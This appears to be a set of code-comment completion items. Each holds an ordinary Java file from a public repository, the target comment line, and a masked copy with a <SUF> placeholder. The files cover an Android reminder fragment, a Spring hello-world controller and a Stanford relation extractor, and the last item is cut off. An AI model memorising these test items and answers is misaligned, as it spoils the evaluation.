TimePickerDialog tpd = new TimePickerDialog(getActivity(),
new TimePickerDialog.OnTimeSetListener() {
@Override
public void onTimeSet(TimePicker view, int hourOfDay,
int minute) {
// Display Selected time in textbox
xhour = hourOfDay;
xminute = minute;
btntime.setText(new StringBuilder().append(padding_str(hourOfDay)).append(":").append(padding_str(minute)));
mEvent.setEventEndTime(String.format("%02d:%02d",xhour,xminute));
mEvent.setEventTitle(edit_naamproduct.getText().toString().trim());
Log.e("appsuline", BaseController.getInstance().getDbManager(getActivity()).getEventsTable().update(mEvent) + "");
mCallback.onCheckChangeCallback(-1);
}
}, xhour, xminute, true);
tpd.show();
}
});
btnCancel.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
//Log.e("appsuline del", BaseController.getInstance().getDbManager(getActivity()).getEventsTable().delete(mEvent) + "");
//mCallback.onCheckChangeCallback(-1);
// getDialog().dismiss();
getActivity().onBackPressed();
}
});
btnSave.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
CalendarManagerNew cm = new CalendarManagerNew();
mEvent.setEventTitle(edit_naamproduct.getText().toString().trim());
mEvent.setEventEndDate(DateUtils.getDateString(xDay, xMonth, xYear));
Log.e("appsuline", BaseController.getInstance().getDbManager(getActivity()).getEventsTable().update(mEvent) + "");
mCallback.onCheckChangeCallback(-1);
cm.addReminder(getActivity(), xDay, xMonth, xYear, xhour, xminute, mEvent.getEventID());
getActivity().onBackPressed();
}
});
getActivity().setTitle(R.string.productbestllen);
setCurrentEvent();
return view;
}
@Override
public boolean onEditorAction(TextView v, int actionId, KeyEvent event) {
if (EditorInfo.IME_ACTION_DONE == actionId) {
// Return input text to activity
mCallback.onFinishEditDialog(btntime.getText().toString());
this.dismiss();
return true;
}
return false;
}
protected int getFragmentCount() {
return getActivity().getSupportFragmentManager().getBackStackEntryCount();
}
private android.support.v4.app.Fragment getFragmentAt(int index) {
return getFragmentCount() > 0 ? getActivity().getSupportFragmentManager().findFragmentByTag(Integer.toString(index)) : null;
}
protected android.support.v4.app.Fragment getCurrentFragment() {
return getFragmentAt(getFragmentCount());
}
public void showStartDatePickerDialog(View v) {
DialogFragment newFragment = new OrderDatePickerFragment();
newFragment.show(getActivity().getSupportFragmentManager(), "datePicker");
}
private void setCurrentEvent() {
if(this.mEvent!=null) {
Calendar c=Calendar.getInstance();
DateFormat format=new SimpleDateFormat("dd/mm/yyyy");
Date formatedDate;
formatedDate = DateUtils.getDateFromString(mEvent.getEventEndDate());
format.format(formatedDate);
c=format.getCalendar();
xYear = c.get(Calendar.YEAR);
xMonth = c.get(Calendar.MONTH);
xDay = c.get(Calendar.DAY_OF_MONTH);
btnorderdate.setText(new StringBuilder().append((xDay)).append(" ").append((getMonth(xMonth))).append(" ").append((xYear)));
System.out.println(mEvent.getEventEndTime());
btntime.setText(mEvent.getEventEndTime());
edit_naamproduct.setText(mEvent.getEventTitle());
}
}
private TimePickerDialog.OnTimeSetListener timePickerListener = new TimePickerDialog.OnTimeSetListener() {
public void onTimeSet(TimePicker view, int selectedHour, int selectedMinute) {
xhour = selectedHour;
xminute = selectedMinute;
// set current time into textview
btntime.setText(new StringBuilder().append(padding_str(xhour)).append(":").append(padding_str(xminute)));
System.out.println(new StringBuilder().append(padding_str(xhour)).append(":").append(padding_str(xminute)));
}
};
public static String getMonth(int month) {
return new DateFormatSymbols().getMonths()[month];
}
private static String padding_str(int c) {
if (c >= 10)
return String.valueOf(c);
else
return "0" + String.valueOf(c);
}
public static class OrderDatePickerFragment extends DialogFragment
implements DatePickerDialog.OnDateSetListener {
@Override
public Dialog onCreateDialog(Bundle savedInstanceState) {
final Calendar c = Calendar.getInstance();
xYear = c.get(Calendar.YEAR);
xMonth = c.get(Calendar.MONTH);
c.add(Calendar.DAY_OF_MONTH, 1);
xDay = c.get(Calendar.DAY_OF_MONTH);
// Create a new instance of DatePickerDialog and return it
return new DatePickerDialog(getActivity(), this, xYear, xMonth, xDay);
}
public void onDateSet(DatePicker view, int year, int month, int day) {
// Do something with the date chosen by the user
// set current time into textview
xMonth = month;
xDay = day;
xYear = year;
btnorderdate.setText(new StringBuilder().append((day)).append(" ").append((getMonth(month))).append(" ").append((year)));
}
}
public void registerCallbacks(DialogEditingListener callback) {
this.mCallback = callback;
}
}
| navyon/suline | app/src/main/java/boeren/com/appsuline/app/bmedical/appsuline/fragments/EventProductBestellingEditFragment.java | 3,205 | //Log.e("appsuline del", BaseController.getInstance().getDbManager(getActivity()).getEventsTable().delete(mEvent) + ""); | line_comment | nl | package boeren.com.appsuline.app.bmedical.appsuline.fragments;
import android.app.DatePickerDialog;
import android.app.Dialog;
import android.app.TimePickerDialog;
import android.os.Bundle;
import android.app.Fragment;
import android.support.v4.app.DialogFragment;
import android.support.v7.app.ActionBar;
import android.support.v7.app.ActionBarActivity;
import android.util.Log;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.view.inputmethod.EditorInfo;
import android.widget.Button;
import android.widget.DatePicker;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.TimePicker;
import java.text.DateFormat;
import java.text.DateFormatSymbols;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import boeren.com.appsuline.app.bmedical.appsuline.R;
import boeren.com.appsuline.app.bmedical.appsuline.controllers.BaseController;
import boeren.com.appsuline.app.bmedical.appsuline.models.CalendarEvent;
import boeren.com.appsuline.app.bmedical.appsuline.utils.CalendarManagerNew;
import boeren.com.appsuline.app.bmedical.appsuline.utils.DateUtils;
import boeren.com.appsuline.app.bmedical.appsuline.utils.DialogEditingListener;
/**
* A simple {@link Fragment} subclass.
*/
public class EventProductBestellingEditFragment extends DialogFragment implements TextView.OnEditorActionListener {
static private Button btntime, btnorderdate;
private ImageView btnCancel, btnSave;
private int xhour;
private int xminute;
public static int xDay, xMonth, xYear;
private EditText edit_naamproduct;
private DialogEditingListener mCallback;
private CalendarEvent mEvent;
private static final String KEY_EVENT = "event";
private boolean isDualPan = false;
public static EventProductBestellingEditFragment newInstance(CalendarEvent event){
EventProductBestellingEditFragment s = new EventProductBestellingEditFragment();
Bundle args = new Bundle();
args.putSerializable(KEY_EVENT, event);
s.setArguments(args);
return s;
}
public EventProductBestellingEditFragment() {
// Required empty public constructor
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (getActivity().findViewById(R.id.container2) != null) isDualPan = true;
setRetainInstance(true);
}
public void setEvent(CalendarEvent event) {
this.mEvent = event;
}
@Override
public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) {
inflater.inflate(R.menu.menu_eventdelete, menu);
super.onCreateOptionsMenu(menu, inflater);
MenuItem shareItem = menu.findItem(R.id.action_eventdelete);
shareItem.setActionView(R.layout.deleteiconlayout);
ImageView img = (ImageView) shareItem.getActionView().findViewById(R.id.img_view_del);
img.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.e("appsuline del", BaseController.getInstance().getDbManager(getActivity()).getEventsTable().delete(mEvent) + "");
if (isDualPan) {
HerinneringenFragment fragment = (HerinneringenFragment) getCurrentFragment();
fragment.loadEventsAndUpdateList();
}
getActivity().onBackPressed();
}
});
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
View view = inflater.inflate(R.layout.fragment_event_product_bestelling_edit, container, false);
ActionBar actionBar = ((ActionBarActivity) getActivity()).getSupportActionBar();
setHasOptionsMenu(true);
actionBar.setDisplayHomeAsUpEnabled(true);
Bundle arguments = getArguments();
if (arguments != null && arguments.containsKey(KEY_EVENT)) {
mEvent = (CalendarEvent) getArguments().getSerializable(KEY_EVENT);
}
btntime = (Button) view.findViewById(R.id.btn_bloedmetentime);
btnCancel = (ImageView) view.findViewById(R.id.btnCancel);
btnSave = (ImageView) view.findViewById(R.id.btnSave);
btnorderdate = (Button) view.findViewById(R.id.btn_dateofororder);
edit_naamproduct = (EditText) view.findViewById(R.id.edit_naamproduct);
btnorderdate.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
showStartDatePickerDialog(view);
}
});
btntime.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
// Process to get Current Time
final Calendar c = Calendar.getInstance();
xhour = c.get(Calendar.HOUR_OF_DAY);
xminute = c.get(Calendar.MINUTE);
// Launch Time Picker Dialog
TimePickerDialog tpd = new TimePickerDialog(getActivity(),
new TimePickerDialog.OnTimeSetListener() {
@Override
public void onTimeSet(TimePicker view, int hourOfDay,
int minute) {
// Display Selected time in textbox
xhour = hourOfDay;
xminute = minute;
btntime.setText(new StringBuilder().append(padding_str(hourOfDay)).append(":").append(padding_str(minute)));
mEvent.setEventEndTime(String.format("%02d:%02d",xhour,xminute));
mEvent.setEventTitle(edit_naamproduct.getText().toString().trim());
Log.e("appsuline", BaseController.getInstance().getDbManager(getActivity()).getEventsTable().update(mEvent) + "");
mCallback.onCheckChangeCallback(-1);
}
}, xhour, xminute, true);
tpd.show();
}
});
btnCancel.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
//Log.e("appsuline del",<SUF>
//mCallback.onCheckChangeCallback(-1);
// getDialog().dismiss();
getActivity().onBackPressed();
}
});
btnSave.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
CalendarManagerNew cm = new CalendarManagerNew();
mEvent.setEventTitle(edit_naamproduct.getText().toString().trim());
mEvent.setEventEndDate(DateUtils.getDateString(xDay, xMonth, xYear));
Log.e("appsuline", BaseController.getInstance().getDbManager(getActivity()).getEventsTable().update(mEvent) + "");
mCallback.onCheckChangeCallback(-1);
cm.addReminder(getActivity(), xDay, xMonth, xYear, xhour, xminute, mEvent.getEventID());
getActivity().onBackPressed();
}
});
getActivity().setTitle(R.string.productbestllen);
setCurrentEvent();
return view;
}
@Override
public boolean onEditorAction(TextView v, int actionId, KeyEvent event) {
if (EditorInfo.IME_ACTION_DONE == actionId) {
// Return input text to activity
mCallback.onFinishEditDialog(btntime.getText().toString());
this.dismiss();
return true;
}
return false;
}
protected int getFragmentCount() {
return getActivity().getSupportFragmentManager().getBackStackEntryCount();
}
private android.support.v4.app.Fragment getFragmentAt(int index) {
return getFragmentCount() > 0 ? getActivity().getSupportFragmentManager().findFragmentByTag(Integer.toString(index)) : null;
}
protected android.support.v4.app.Fragment getCurrentFragment() {
return getFragmentAt(getFragmentCount());
}
public void showStartDatePickerDialog(View v) {
DialogFragment newFragment = new OrderDatePickerFragment();
newFragment.show(getActivity().getSupportFragmentManager(), "datePicker");
}
private void setCurrentEvent() {
if(this.mEvent!=null) {
Calendar c=Calendar.getInstance();
DateFormat format=new SimpleDateFormat("dd/mm/yyyy");
Date formatedDate;
formatedDate = DateUtils.getDateFromString(mEvent.getEventEndDate());
format.format(formatedDate);
c=format.getCalendar();
xYear = c.get(Calendar.YEAR);
xMonth = c.get(Calendar.MONTH);
xDay = c.get(Calendar.DAY_OF_MONTH);
btnorderdate.setText(new StringBuilder().append((xDay)).append(" ").append((getMonth(xMonth))).append(" ").append((xYear)));
System.out.println(mEvent.getEventEndTime());
btntime.setText(mEvent.getEventEndTime());
edit_naamproduct.setText(mEvent.getEventTitle());
}
}
private TimePickerDialog.OnTimeSetListener timePickerListener = new TimePickerDialog.OnTimeSetListener() {
public void onTimeSet(TimePicker view, int selectedHour, int selectedMinute) {
xhour = selectedHour;
xminute = selectedMinute;
// set current time into textview
btntime.setText(new StringBuilder().append(padding_str(xhour)).append(":").append(padding_str(xminute)));
System.out.println(new StringBuilder().append(padding_str(xhour)).append(":").append(padding_str(xminute)));
}
};
public static String getMonth(int month) {
return new DateFormatSymbols().getMonths()[month];
}
private static String padding_str(int c) {
if (c >= 10)
return String.valueOf(c);
else
return "0" + String.valueOf(c);
}
public static class OrderDatePickerFragment extends DialogFragment
implements DatePickerDialog.OnDateSetListener {
@Override
public Dialog onCreateDialog(Bundle savedInstanceState) {
final Calendar c = Calendar.getInstance();
xYear = c.get(Calendar.YEAR);
xMonth = c.get(Calendar.MONTH);
c.add(Calendar.DAY_OF_MONTH, 1);
xDay = c.get(Calendar.DAY_OF_MONTH);
// Create a new instance of DatePickerDialog and return it
return new DatePickerDialog(getActivity(), this, xYear, xMonth, xDay);
}
public void onDateSet(DatePicker view, int year, int month, int day) {
// Do something with the date chosen by the user
// set current time into textview
xMonth = month;
xDay = day;
xYear = year;
btnorderdate.setText(new StringBuilder().append((day)).append(" ").append((getMonth(month))).append(" ").append((year)));
}
}
public void registerCallbacks(DialogEditingListener callback) {
this.mCallback = callback;
}
}
|
83516_4 | package com.webservice.helloworld;
import java.util.Locale;
import org.springframework.context.MessageSource;
import org.springframework.context.i18n.LocaleContextHolder;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RestController;
/**
* @author nawaz
*/
@RestController
public class HelloWorldController {
private MessageSource messageSource;
public HelloWorldController(MessageSource messageSource) {
this.messageSource = messageSource;
}
@GetMapping(path = "/hello-world")
public String helloWorld() {
return "Hello World";
}
@GetMapping(path = "/hello-world-bean")
public HelloWorldBean helloWorldBean() {
return new HelloWorldBean("Hello World");
}
// Path Parameters
// /users/{id}/todos/{id} => /users/2/todos/200
// /hello-world/path-variable/{name}
// /hello-world/path-variable/Ranga
@GetMapping(path = "/hello-world/path-variable/{name}")
public HelloWorldBean helloWorldPathVariable(@PathVariable String name) {
return new HelloWorldBean(String.format("Hello World, %s", name));
}
@GetMapping(path = "/hello-world-internationalized")
public String helloWorldInternationalized() {
Locale locale = LocaleContextHolder.getLocale();
return messageSource.getMessage("good.morning.message", null, "Default Message", locale );
//return "Hello World V2";
//1:
//2:
// - Example: `en` - English (Good Morning)
// - Example: `nl` - Dutch (Goedemorgen)
// - Example: `fr` - French (Bonjour)
// - Example: `de` - Deutsch (Guten Morgen)
}
}
| nawazquazi1/Rest--Full--Web--Service | src/main/java/com/webservice/helloworld/HelloWorldController.java | 514 | // - Example: `nl` - Dutch (Goedemorgen) | line_comment | nl | package com.webservice.helloworld;
import java.util.Locale;
import org.springframework.context.MessageSource;
import org.springframework.context.i18n.LocaleContextHolder;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RestController;
/**
* @author nawaz
*/
@RestController
public class HelloWorldController {
private MessageSource messageSource;
public HelloWorldController(MessageSource messageSource) {
this.messageSource = messageSource;
}
@GetMapping(path = "/hello-world")
public String helloWorld() {
return "Hello World";
}
@GetMapping(path = "/hello-world-bean")
public HelloWorldBean helloWorldBean() {
return new HelloWorldBean("Hello World");
}
// Path Parameters
// /users/{id}/todos/{id} => /users/2/todos/200
// /hello-world/path-variable/{name}
// /hello-world/path-variable/Ranga
@GetMapping(path = "/hello-world/path-variable/{name}")
public HelloWorldBean helloWorldPathVariable(@PathVariable String name) {
return new HelloWorldBean(String.format("Hello World, %s", name));
}
@GetMapping(path = "/hello-world-internationalized")
public String helloWorldInternationalized() {
Locale locale = LocaleContextHolder.getLocale();
return messageSource.getMessage("good.morning.message", null, "Default Message", locale );
//return "Hello World V2";
//1:
//2:
// - Example: `en` - English (Good Morning)
// - Example:<SUF>
// - Example: `fr` - French (Bonjour)
// - Example: `de` - Deutsch (Guten Morgen)
}
}
|
188443_16 | package edu.stanford.nlp.kbp.slotfilling.process;
import static edu.stanford.nlp.util.logging.Redwood.Util.err;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.*;
import edu.stanford.nlp.ie.machinereading.structure.*;
import edu.stanford.nlp.kbp.common.*;
import edu.stanford.nlp.kbp.common.KBPAnnotations.SourceIndexAnnotation;
import edu.stanford.nlp.kbp.slotfilling.ir.KBPIR;
import edu.stanford.nlp.kbp.slotfilling.ir.KBPRelationProvenance;
import edu.stanford.nlp.kbp.slotfilling.ir.index.KryoAnnotationSerializer;
import edu.stanford.nlp.ling.*;
import edu.stanford.nlp.ling.CoreAnnotations.DocIDAnnotation;
import edu.stanford.nlp.ling.CoreAnnotations.SentencesAnnotation;
import edu.stanford.nlp.pipeline.Annotation;
import edu.stanford.nlp.pipeline.AnnotationPipeline;
import edu.stanford.nlp.pipeline.AnnotationSerializer;
import edu.stanford.nlp.semgraph.SemanticGraph;
import edu.stanford.nlp.semgraph.SemanticGraphCoreAnnotations;
import edu.stanford.nlp.stats.ClassicCounter;
import edu.stanford.nlp.stats.Counter;
import edu.stanford.nlp.stats.Counters;
import edu.stanford.nlp.util.CoreMap;
import edu.stanford.nlp.util.logging.Redwood;
/**
* <p>The entry point for processing and featurizing a sentence or group of sentences.
* In particular, before being fed to the classifier either at training or evaluation time,
* a sentence should be passed through the {@link KBPProcess#annotateSentenceFeatures(KBPEntity, List)}
* function, as well as the {@link KBPProcess#featurizeSentence(CoreMap, Maybe)}
* (or variations of this function, e.g., the buik {@link KBPProcess#featurize(Annotation)}).</p>
*
* <p>At a high level, this function is a mapping from {@link CoreMap}s representing sentences to
* {@link SentenceGroup}s representing datums (more precisely, a collection of datums for a single entity pair).
* The input should have already passed through {@link edu.stanford.nlp.kbp.slotfilling.ir.PostIRAnnotator}; the
* output is ready to be passed into the classifier.</p>
*
* <p>This is also the class where sentence gloss caching is managed. That is, every datum carries with itself a
* hashed "sentence gloss key" which alleviates the need to carry around the raw sentence, but can be used to retrieve
* that sentence if it is needed -- primarily, for Active Learning. See {@link KBPProcess#saveSentenceGloss(String, CoreMap, Maybe, Maybe)}
* and {@link KBPProcess#recoverSentenceGloss(String)}.</p>
*
* @author Kevin Reschke
* @author Jean Wu (sentence gloss infrastructure)
* @author Gabor Angeli (managing hooks into Mention Featurizers; some hooks into sentence gloss caching)
*/
public class KBPProcess extends Featurizer implements DocumentAnnotator {
protected static final Redwood.RedwoodChannels logger = Redwood.channels("Process");
private final FeatureFactory rff;
public static final AnnotationSerializer sentenceGlossSerializer = new KryoAnnotationSerializer();
private final Properties props; // needed to create a StanfordCoreNLP down the line
private final Lazy<KBPIR> querier;
public enum AnnotateMode {
NORMAL, // do normal relation annotation for main entity
ALL_PAIRS // do relation annotation for all entity pairs
}
public KBPProcess(Properties props, Lazy<KBPIR> querier) {
this.props = props;
this.querier = querier;
// Setup feature factory
rff = new FeatureFactory(Props.TRAIN_FEATURES);
rff.setDoNotLexicalizeFirstArgument(true);
}
@SuppressWarnings("unchecked")
public Maybe<Datum<String,String>> featurize( RelationMention rel ) {
try {
if (!Props.PROCESS_NEWFEATURIZER) {
// Case: Old featurizer
return Maybe.Just(rff.createDatum(rel));
} else {
// Case: New featurizer
Span subj = ((EntityMention) rel.getArg(0)).getHead();
Span obj = ((EntityMention) rel.getArg(1)).getHead();
List<CoreLabel> tokens = rel.getSentence().get(CoreAnnotations.TokensAnnotation.class);
SemanticGraph dependencies = rel.getSentence().get(SemanticGraphCoreAnnotations.BasicDependenciesAnnotation.class);
Featurizable factory = new Featurizable(subj, obj, tokens, dependencies, Collections.EMPTY_LIST);
Counter<String> features = new ClassicCounter<>();
for (Feature feat : Feature.values()) {
feat.provider.apply(factory, features);
}
// Return
return Maybe.<Datum<String, String>>Just(new BasicDatum<>(Counters.toSortedList(features), rel.getType()));
}
} catch (RuntimeException e) {
err(e);
return Maybe.Nothing();
}
}
/**
* Featurize |sentence| with respect to |entity|, with optional |filter|.
*
* That is, build a datum (singleton sentence group) for each relation that
* is headed by |entity|, subject to filtering.
*
* @param sentence
* CoreMap with relation mention annotations.
* @param filter
* Optional relation filter for within-sentence filtering
* @return List of singleton sentence groups. Each singleton represents a
* datum for one of the relations found in this sentence.
*/
@Override
public List<SentenceGroup> featurizeSentence(CoreMap sentence, Maybe<RelationFilter> filter) {
List<RelationMention> relationMentionsForEntity = sentence.get(MachineReadingAnnotations.RelationMentionsAnnotation.class);
List<RelationMention> relationMentionsForAllPairs = sentence.get(MachineReadingAnnotations.AllRelationMentionsAnnotation.class);
List<SentenceGroup> datumsForEntity = featurizeRelations(relationMentionsForEntity,sentence);
if(filter.isDefined()) {
List<SentenceGroup> datumsForAllPairs = featurizeRelations(relationMentionsForAllPairs,sentence);
datumsForEntity = filter.get().apply(datumsForEntity, datumsForAllPairs, sentence);
}
return datumsForEntity;
}
/**
* Construct datums for these relation mentions.
* Output is list of singleton sentence groups.
*/
private List<SentenceGroup> featurizeRelations(List<RelationMention> relationMentions, CoreMap sentence) {
List<SentenceGroup> datums = new ArrayList<>();
if (relationMentions == null) { return datums; }
for (RelationMention rel : relationMentions) {
assert rel instanceof NormalizedRelationMention;
NormalizedRelationMention normRel = (NormalizedRelationMention) rel;
assert normRel.getEntityMentionArgs().get(0).getSyntacticHeadTokenPosition() >= 0;
assert normRel.getEntityMentionArgs().get(1).getSyntacticHeadTokenPosition() >= 0;
for (Datum<String, String> d : featurize(rel)) {
// Pull out the arguments to construct the entity pair this
// datum will express.
List<EntityMention> args = rel.getEntityMentionArgs();
EntityMention leftArg = args.get(0);
EntityMention rightArg = args.get(1);
KBPEntity entity = normRel.getNormalizedEntity();
String slotValue = normRel.getNormalizedSlotValue();
// Create key
KBPair key = KBPNew
.entName(entity != null ? entity.name : (leftArg.getNormalizedName() != null ? leftArg.getNormalizedName() : leftArg.getFullValue()))
.entType(entity != null ? entity.type : Utils.getNERTag(leftArg).orCrash())
.entId(entity != null && entity instanceof KBPOfficialEntity ? ((KBPOfficialEntity) entity).id : Maybe.<String>Nothing())
.slotValue(slotValue)
.slotType(Utils.getNERTag(rightArg).orCrash()).KBPair();
logger.debug("featurized datum key: " + key);
// Also track the provenance information
String indexName = leftArg.getSentence().get(SourceIndexAnnotation.class);
String docId = leftArg.getSentence().get(DocIDAnnotation.class);
Integer sentenceIndex = leftArg.getSentence().get(CoreAnnotations.SentenceIndexAnnotation.class);
Span entitySpan = leftArg.getExtent();
Span slotFillSpan = rightArg.getExtent();
KBPRelationProvenance provenance =
sentenceIndex == null ? new KBPRelationProvenance(docId, indexName)
: new KBPRelationProvenance(docId, indexName, sentenceIndex, entitySpan, slotFillSpan, sentence);
// Handle Sentence Gloss Caching
String hexKey = CoreMapUtils.getSentenceGlossKey(sentence.get(CoreAnnotations.TokensAnnotation.class), leftArg.getExtent(), rightArg.getExtent());
saveSentenceGloss(hexKey, sentence, Maybe.Just(entitySpan), Maybe.Just(slotFillSpan));
// Construct singleton sentence group; group by slotValue entity
SentenceGroup sg = new SentenceGroup(key, d, provenance, hexKey);
datums.add(sg);
}
}
return datums;
}
@Override
public List<CoreMap> annotateSentenceFeatures (KBPEntity entity, List<CoreMap> sentences) {
return annotateSentenceFeatures(entity,sentences,AnnotateMode.NORMAL);
}
public List<CoreMap> annotateSentenceFeatures( KBPEntity entity,
List<CoreMap> sentences, AnnotateMode annotateMode) {
// Check if PostIR was run
for (CoreMap sentence : sentences) {
if (!sentence.containsKey(KBPAnnotations.AllAntecedentsAnnotation.class) && !Props.JUNIT) {
throw new IllegalStateException("Must pass sentence through PostIRAnnotator before calling AnnotateSentenceFeatures");
}
}
// Create the mention annotation pipeline
AnnotationPipeline pipeline = new AnnotationPipeline();
pipeline.addAnnotator(new EntityMentionAnnotator(entity));
pipeline.addAnnotator(new SlotMentionAnnotator());
pipeline.addAnnotator(new RelationMentionAnnotator(entity, querier.get().getKnownSlotFillsForEntity(entity), annotateMode));
pipeline.addAnnotator(new PreFeaturizerAnnotator(props));
// Annotate
Annotation ann = new Annotation(sentences);
pipeline.annotate(ann);
// Sanity checks
if (Utils.assertionsEnabled()) {
for (CoreMap sentence : ann.get(SentencesAnnotation.class)) {
for (RelationMention rm : sentence.get(MachineReadingAnnotations.RelationMentionsAnnotation.class)) {
assert rm.getArg(0) instanceof EntityMention;
assert rm.getArg(1) instanceof EntityMention;
assert ((EntityMention) rm.getArg(0)).getSyntacticHeadTokenPosition() >= 0;
assert ((EntityMention) rm.getArg(1)).getSyntacticHeadTokenPosition() >= 0;
}
}
}
// Return valid sentences
return ann.get(SentencesAnnotation.class);
}
public void saveSentenceGloss(final String hexKey, CoreMap sentence, Maybe<Span> entitySpanMaybe, Maybe<Span> slotFillSpanMaybe) {
if (Props.CACHE_SENTENCEGLOSS_DO) {
assert (!hexKey.isEmpty());
// Create annotation
final Annotation ann = new Annotation("");
ann.set(SentencesAnnotation.class, new ArrayList<>(Arrays.asList(sentence)));
// Set extra annotations
for (Span entitySpan : entitySpanMaybe) {
sentence.set(KBPAnnotations.EntitySpanAnnotation.class, entitySpan); // include entity and slot value spans
}
for (Span slotFillSpan : slotFillSpanMaybe) {
sentence.set(KBPAnnotations.SlotValueSpanAnnotation.class, slotFillSpan);
}
// Do caching
PostgresUtils.withKeyAnnotationTable(Props.DB_TABLE_SENTENCEGLOSS_CACHE, new PostgresUtils.KeyAnnotationCallback(sentenceGlossSerializer) {
@Override
public void apply(Connection psql) throws SQLException {
try {
putSingle(psql, Props.DB_TABLE_SENTENCEGLOSS_CACHE, hexKey, ann);
} catch (SQLException e) {
logger.err(e);
}
}
});
// Clear extra annotations
sentence.remove(KBPAnnotations.EntitySpanAnnotation.class); // don't keep these around indefinitely -- they're datum not sentence specific
sentence.remove(KBPAnnotations.SlotValueSpanAnnotation.class);
}
}
/** Recovers the original sentence, given a short hash pointing to the sentence */
public Maybe<CoreMap> recoverSentenceGloss(final String hexKey) {
final Pointer<CoreMap> sentence = new Pointer<>();
PostgresUtils.withKeyAnnotationTable(Props.DB_TABLE_SENTENCEGLOSS_CACHE, new PostgresUtils.KeyAnnotationCallback(sentenceGlossSerializer) {
@Override
public void apply(Connection psql) throws SQLException {
for (Annotation ann : getSingle(psql, Props.DB_TABLE_SENTENCEGLOSS_CACHE, hexKey)) {
for (CoreMap sent : Maybe.fromNull(ann.get(SentencesAnnotation.class).get(0))) {
sentence.set(sent);
}
}
}
});
return sentence.dereference();
}
}
| nazneenrajani/Stanford_Relation_Extractor | stanford-kbp/src/main/java/edu/stanford/nlp/kbp/slotfilling/process/KBPProcess.java | 3,839 | // Return valid sentences | line_comment | nl | package edu.stanford.nlp.kbp.slotfilling.process;
import static edu.stanford.nlp.util.logging.Redwood.Util.err;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.*;
import edu.stanford.nlp.ie.machinereading.structure.*;
import edu.stanford.nlp.kbp.common.*;
import edu.stanford.nlp.kbp.common.KBPAnnotations.SourceIndexAnnotation;
import edu.stanford.nlp.kbp.slotfilling.ir.KBPIR;
import edu.stanford.nlp.kbp.slotfilling.ir.KBPRelationProvenance;
import edu.stanford.nlp.kbp.slotfilling.ir.index.KryoAnnotationSerializer;
import edu.stanford.nlp.ling.*;
import edu.stanford.nlp.ling.CoreAnnotations.DocIDAnnotation;
import edu.stanford.nlp.ling.CoreAnnotations.SentencesAnnotation;
import edu.stanford.nlp.pipeline.Annotation;
import edu.stanford.nlp.pipeline.AnnotationPipeline;
import edu.stanford.nlp.pipeline.AnnotationSerializer;
import edu.stanford.nlp.semgraph.SemanticGraph;
import edu.stanford.nlp.semgraph.SemanticGraphCoreAnnotations;
import edu.stanford.nlp.stats.ClassicCounter;
import edu.stanford.nlp.stats.Counter;
import edu.stanford.nlp.stats.Counters;
import edu.stanford.nlp.util.CoreMap;
import edu.stanford.nlp.util.logging.Redwood;
/**
* <p>The entry point for processing and featurizing a sentence or group of sentences.
* In particular, before being fed to the classifier either at training or evaluation time,
* a sentence should be passed through the {@link KBPProcess#annotateSentenceFeatures(KBPEntity, List)}
* function, as well as the {@link KBPProcess#featurizeSentence(CoreMap, Maybe)}
* (or variations of this function, e.g., the buik {@link KBPProcess#featurize(Annotation)}).</p>
*
* <p>At a high level, this function is a mapping from {@link CoreMap}s representing sentences to
* {@link SentenceGroup}s representing datums (more precisely, a collection of datums for a single entity pair).
* The input should have already passed through {@link edu.stanford.nlp.kbp.slotfilling.ir.PostIRAnnotator}; the
* output is ready to be passed into the classifier.</p>
*
* <p>This is also the class where sentence gloss caching is managed. That is, every datum carries with itself a
* hashed "sentence gloss key" which alleviates the need to carry around the raw sentence, but can be used to retrieve
* that sentence if it is needed -- primarily, for Active Learning. See {@link KBPProcess#saveSentenceGloss(String, CoreMap, Maybe, Maybe)}
* and {@link KBPProcess#recoverSentenceGloss(String)}.</p>
*
* @author Kevin Reschke
* @author Jean Wu (sentence gloss infrastructure)
* @author Gabor Angeli (managing hooks into Mention Featurizers; some hooks into sentence gloss caching)
*/
public class KBPProcess extends Featurizer implements DocumentAnnotator {
protected static final Redwood.RedwoodChannels logger = Redwood.channels("Process");
private final FeatureFactory rff;
public static final AnnotationSerializer sentenceGlossSerializer = new KryoAnnotationSerializer();
private final Properties props; // needed to create a StanfordCoreNLP down the line
private final Lazy<KBPIR> querier;
public enum AnnotateMode {
NORMAL, // do normal relation annotation for main entity
ALL_PAIRS // do relation annotation for all entity pairs
}
public KBPProcess(Properties props, Lazy<KBPIR> querier) {
this.props = props;
this.querier = querier;
// Setup feature factory
rff = new FeatureFactory(Props.TRAIN_FEATURES);
rff.setDoNotLexicalizeFirstArgument(true);
}
@SuppressWarnings("unchecked")
public Maybe<Datum<String,String>> featurize( RelationMention rel ) {
try {
if (!Props.PROCESS_NEWFEATURIZER) {
// Case: Old featurizer
return Maybe.Just(rff.createDatum(rel));
} else {
// Case: New featurizer
Span subj = ((EntityMention) rel.getArg(0)).getHead();
Span obj = ((EntityMention) rel.getArg(1)).getHead();
List<CoreLabel> tokens = rel.getSentence().get(CoreAnnotations.TokensAnnotation.class);
SemanticGraph dependencies = rel.getSentence().get(SemanticGraphCoreAnnotations.BasicDependenciesAnnotation.class);
